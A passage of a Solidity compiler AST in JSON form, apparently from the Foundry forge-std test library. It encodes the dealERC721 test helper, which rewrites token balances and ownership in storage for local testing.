pure"}},"id":6118,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"29518:83:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":6119,"nodeType":"ExpressionStatement","src":"29518:83:3"},{"assignments":[null,6121],"declarations":[null,{"constant":false,"id":6121,"mutability":"mutable","name":"fromBalData","nameLocation":"29665:11:3","nodeType":"VariableDeclaration","scope":6221,"src":"29652:24:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":6120,"name":"bytes","nodeType":"ElementaryTypeName","src":"29652:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"id":6136,"initialValue":{"arguments":[{"arguments":[{"hexValue":"30783730613038323331","id":6126,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"29732:10:3","typeDescriptions":{"typeIdentifier":"t_rational_1889567281_by_1","typeString":"int_const 1889567281"},"value":"0x70a08231"},{"arguments":[{"id":6129,"name":"ownerData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6105,"src":"29755:9:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"components":[{"id":6131,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"29767:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":6130,"name":"address","nodeType":"ElementaryTypeName","src":"29767:7:3","typeDescriptions":{}}}],"id":6132,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"TupleExpression","src":"29766:9:3","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"}],"expression":{"id":6127,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"29744:3:3","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":6128,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"29748:6:3","memberName":"decode","nodeType":"MemberAccess","src":"29744:10:3","typeDescriptions":{"typeIdentifier":"t_function_abidecode_pure$__$returns$__$","typeString":"function () pure"}},"id":6133,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"29744:32:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_1889567281_by_1","typeString":"int_const 1889567281"},{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":6124,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"29709:3:3","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":6125,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"29713:18:3","memberName":"encodeWithSelector","nodeType":"MemberAccess","src":"29709:22:3","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithselector_pure$_t_bytes4_$returns$_t_bytes_memory_ptr_$","typeString":"function (bytes4) pure returns (bytes memory)"}},"id":6134,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"29709:68:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"id":6122,"name":"token","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6095,"src":"29692:5:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":6123,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"29698:10:3","memberName":"staticcall","nodeType":"MemberAccess","src":"29692:16:3","typeDescriptions":{"typeIdentifier":"t_function_barestaticcall_view$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$","typeString":"function (bytes memory) view returns (bool,bytes memory)"}},"id":6135,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"29692:86:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes_memory_ptr_$","typeString":"tuple(bool,bytes memory)"}},"nodeType":"VariableDeclarationStatement","src":"29649:129:3"},{"assignments":[6138],"declarations":[{"constant":false,"id":6138,"mutability":"mutable","name":"fromPrevBal","nameLocation":"29796:11:3","nodeType":"VariableDeclaration","scope":6221,"src":"29788:19:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":6137,"name":"uint256","nodeType":"ElementaryTypeName","src":"29788:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":6146,"initialValue":{"arguments":[{"id":6141,"name":"fromBalData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6121,"src":"29821:11:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"components":[{"id":6143,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"29835:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":6142,"name":"uint256","nodeType":"ElementaryTypeName","src":"29835:7:3","typeDescriptions":{}}}],"id":6144,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"TupleExpression","src":"29834:9:3","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"}],"expression":{"id":6139,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"29810:3:3","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":6140,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"29814:6:3","memberName":"decode","nodeType":"MemberAccess","src":"29810:10:3","typeDescriptions":{"typeIdentifier":"t_function_abidecode_pure$__$returns$__$","typeString":"function () pure"}},"id":6145,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"29810:34:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"29788:56:3"},{"assignments":[null,6148],"declarations":[null,{"constant":false,"id":6148,"mutability":"mutable","name":"toBalData","nameLocation":"29911:9:3","nodeType":"VariableDeclaration","scope":6221,"src":"29898:22:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":6147,"name":"bytes","nodeType":"ElementaryTypeName","src":"29898:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"id":6157,"initialValue":{"arguments":[{"arguments":[{"hexValue":"30783730613038323331","id":6153,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"29964:10:3","typeDescriptions":{"typeIdentifier":"t_rational_1889567281_by_1","typeString":"int_const 1889567281"},"value":"0x70a08231"},{"id":6154,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6097,"src":"29976:2:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_1889567281_by_1","typeString":"int_const 1889567281"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":6151,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"29941:3:3","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":6152,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"29945:18:3","memberName":"encodeWithSelector","nodeType":"MemberAccess","src":"29941:22:3","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithselector_pure$_t_bytes4_$returns$_t_bytes_memory_ptr_$","typeString":"function (bytes4) pure returns (bytes memory)"}},"id":6155,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"29941:38:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"id":6149,"name":"token","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6095,"src":"29924:5:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":6150,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"29930:10:3","memberName":"staticcall","nodeType":"MemberAccess","src":"29924:16:3","typeDescriptions":{"typeIdentifier":"t_function_barestaticcall_view$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$","typeString":"function (bytes memory) view returns (bool,bytes memory)"}},"id":6156,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"29924:56:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes_memory_ptr_$","typeString":"tuple(bool,bytes memory)"}},"nodeType":"VariableDeclarationStatement","src":"29895:85:3"},{"assignments":[6159],"declarations":[{"constant":false,"id":6159,"mutability":"mutable","name":"toPrevBal","nameLocation":"29998:9:3","nodeType":"VariableDeclaration","scope":6221,"src":"29990:17:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":6158,"name":"uint256","nodeType":"ElementaryTypeName","src":"29990:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":6167,"initialValue":{"arguments":[{"id":6162,"name":"toBalData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6148,"src":"30021:9:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"components":[{"id":6164,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"30033:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":6163,"name":"uint256","nodeType":"ElementaryTypeName","src":"30033:7:3","typeDescriptions":{}}}],"id":6165,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"TupleExpression","src":"30032:9:3","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"}],"expression":{"id":6160,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"30010:3:3","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":6161,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"30014:6:3","memberName":"decode","nodeType":"MemberAccess","src":"30010:10:3","typeDescriptions":{"typeIdentifier":"t_function_abidecode_pure$__$returns$__$","typeString":"function () pure"}},"id":6166,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"30010:32:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"29990:52:3"},{"expression":{"arguments":[{"id":6187,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"--","prefix":true,"src":"30176:13:3","subExpression":{"id":6186,"name":"fromPrevBal","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6138,"src":"30178:11:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"arguments":[{"arguments":[{"id":6179,"name":"ownerData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6105,"src":"30139:9:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"components":[{"id":6181,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"30151:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":6180,"name":"address","nodeType":"ElementaryTypeName","src":"30151:7:3","typeDescriptions":{}}}],"id":6182,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"TupleExpression","src":"30150:9:3","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"}],"expression":{"id":6177,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"30128:3:3","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":6178,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"30132:6:3","memberName":"decode","nodeType":"MemberAccess","src":"30128:10:3","typeDescriptions":{"typeIdentifier":"t_function_abidecode_pure$__$returns$__$","typeString":"function () pure"}},"id":6183,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"30128:32:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"arguments":[{"hexValue":"30783730613038323331","id":6174,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"30107:10:3","typeDescriptions":{"typeIdentifier":"t_rational_1889567281_by_1","typeString":"int_const 1889567281"},"value":"0x70a08231"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_1889567281_by_1","typeString":"int_const 1889567281"}],"expression":{"arguments":[{"id":6171,"name":"token","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6095,"src":"30096:5:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":6168,"name":"stdstore","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5546,"src":"30080:8:3","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage","typeString":"struct StdStorage storage ref"}},"id":6170,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"30089:6:3","memberName":"target","nodeType":"MemberAccess","referencedDeclaration":8861,"src":"30080:15:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_address_$returns$_t_struct$_StdStorage_$7427_storage_ptr_$attached_to$_t_struct$_StdStorage_$7427_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,address) returns (struct StdStorage storage pointer)"}},"id":6172,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"30080:22:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":6173,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"30103:3:3","memberName":"sig","nodeType":"MemberAccess","referencedDeclaration":8879,"src":"30080:26:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_bytes4_$returns$_t_struct$_StdStorage_$7427_storage_ptr_$attached_to$_t_struct$_StdStorage_$7427_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,bytes4) returns (struct StdStorage storage pointer)"}},"id":6175,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"30080:38:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":6176,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"30119:8:3","memberName":"with_key","nodeType":"MemberAccess","referencedDeclaration":8915,"src":"30080:47:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_address_$returns$_t_struct$_StdStorage_$7427_storage_ptr_$attached_to$_t_struct$_StdStorage_$7427_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,address) returns (struct StdStorage storage pointer)"}},"id":6184,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"30080:81:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":6185,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"30162:13:3","memberName":"checked_write","nodeType":"MemberAccess","referencedDeclaration":9055,"src":"30080:95:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_uint256_$returns$__$attached_to$_t_struct$_StdStorage_$7427_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,uint256)"}},"id":6188,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"30080:110:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":6189,"nodeType":"ExpressionStatement","src":"30080:110:3"},{"expression":{"arguments":[{"id":6203,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"++","prefix":true,"src":"30266:11:3","subExpression":{"id":6202,"name":"toPrevBal","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6159,"src":"30268:9:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"arguments":[{"id":6199,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6097,"src":"30248:2:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"arguments":[{"hexValue":"30783730613038323331","id":6196,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"30227:10:3","typeDescriptions":{"typeIdentifier":"t_rational_1889567281_by_1","typeString":"int_const 1889567281"},"value":"0x70a08231"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_1889567281_by_1","typeString":"int_const 1889567281"}],"expression":{"arguments":[{"id":6193,"name":"token","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6095,"src":"30216:5:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":6190,"name":"stdstore","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5546,"src":"30200:8:3","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage","typeString":"struct StdStorage storage ref"}},"id":6192,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"30209:6:3","memberName":"target","nodeType":"MemberAccess","referencedDeclaration":8861,"src":"30200:15:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_address_$returns$_t_struct$_StdStorage_$7427_storage_ptr_$attached_to$_t_struct$_StdStorage_$7427_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,address) returns (struct StdStorage storage pointer)"}},"id":6194,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"30200:22:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":6195,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"30223:3:3","memberName":"sig","nodeType":"MemberAccess","referencedDeclaration":8879,"src":"30200:26:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_bytes4_$returns$_t_struct$_StdStorage_$7427_storage_ptr_$attached_to$_t_struct$_StdStorage_$7427_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,bytes4) returns (struct StdStorage storage pointer)"}},"id":6197,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"30200:38:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":6198,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"30239:8:3","memberName":"with_key","nodeType":"MemberAccess","referencedDeclaration":8915,"src":"30200:47:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_address_$returns$_t_struct$_StdStorage_$7427_storage_ptr_$attached_to$_t_struct$_StdStorage_$7427_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,address) returns (struct StdStorage storage pointer)"}},"id":6200,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"30200:51:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":6201,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"30252:13:3","memberName":"checked_write","nodeType":"MemberAccess","referencedDeclaration":9055,"src":"30200:65:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_uint256_$returns$__$attached_to$_t_struct$_StdStorage_$7427_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,uint256)"}},"id":6204,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"30200:78:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":6205,"nodeType":"ExpressionStatement","src":"30200:78:3"},{"expression":{"arguments":[{"id":6218,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6097,"src":"30379:2:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"arguments":[{"id":6215,"name":"id","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6099,"src":"30361:2:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"arguments":[{"hexValue":"30783633353232313165","id":6212,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"30340:10:3","typeDescriptions":{"typeIdentifier":"t_rational_1666326814_by_1","typeString":"int_const 1666326814"},"value":"0x6352211e"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_1666326814_by_1","typeString":"int_const 1666326814"}],"expression":{"arguments":[{"id":6209,"name":"token","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6095,"src":"30329:5:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":6206,"name":"stdstore","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5546,"src":"30313:8:3","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage","typeString":"struct StdStorage storage ref"}},"id":6208,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"30322:6:3","memberName":"target","nodeType":"MemberAccess","referencedDeclaration":8861,"src":"30313:15:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_address_$returns$_t_struct$_StdStorage_$7427_storage_ptr_$attached_to$_t_struct$_StdStorage_$7427_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,address) returns (struct StdStorage storage pointer)"}},"id":6210,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"30313:22:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":6211,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"30336:3:3","memberName":"sig","nodeType":"MemberAccess","referencedDeclaration":8879,"src":"30313:26:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_bytes4_$returns$_t_struct$_StdStorage_$7427_storage_ptr_$attached_to$_t_struct$_StdStorage_$7427_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,bytes4) returns (struct StdStorage storage pointer)"}},"id":6213,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"30313:38:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":6214,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"30352:8:3","memberName":"with_key","nodeType":"MemberAccess","referencedDeclaration":8933,"src":"30313:47:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_uint256_$returns$_t_struct$_StdStorage_$7427_storage_ptr_$attached_to$_t_struct$_StdStorage_$7427_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,uint256) returns (struct StdStorage storage pointer)"}},"id":6216,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"30313:51:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":6217,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"30365:13:3","memberName":"checked_write","nodeType":"MemberAccess","referencedDeclaration":9038,"src":"30313:65:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_address_$returns$__$attached_to$_t_struct$_StdStorage_$7427_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,address)"}},"id":6219,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"30313:69:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":6220,"nodeType":"ExpressionStatement","src":"30313:69:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"dealERC721","nameLocation":"29259:10:3","parameters":{"id":6100,"nodeType":"ParameterList","parameters":[{"constant":false,"id":6095,"mutability":"mutable","name":"token","nameLocation":"29278:5:3","nodeType":"VariableDeclaration","scope":6222,"src":"29270:13:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":6094,"name":"address","nodeType":"ElementaryTypeName","src":"29270:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":6097,"mutability":"mutable","name":"to","nameLocation":"29293:2:3","nodeType":"VariableDeclaration","scope":6222,"src":"29285:10:3","st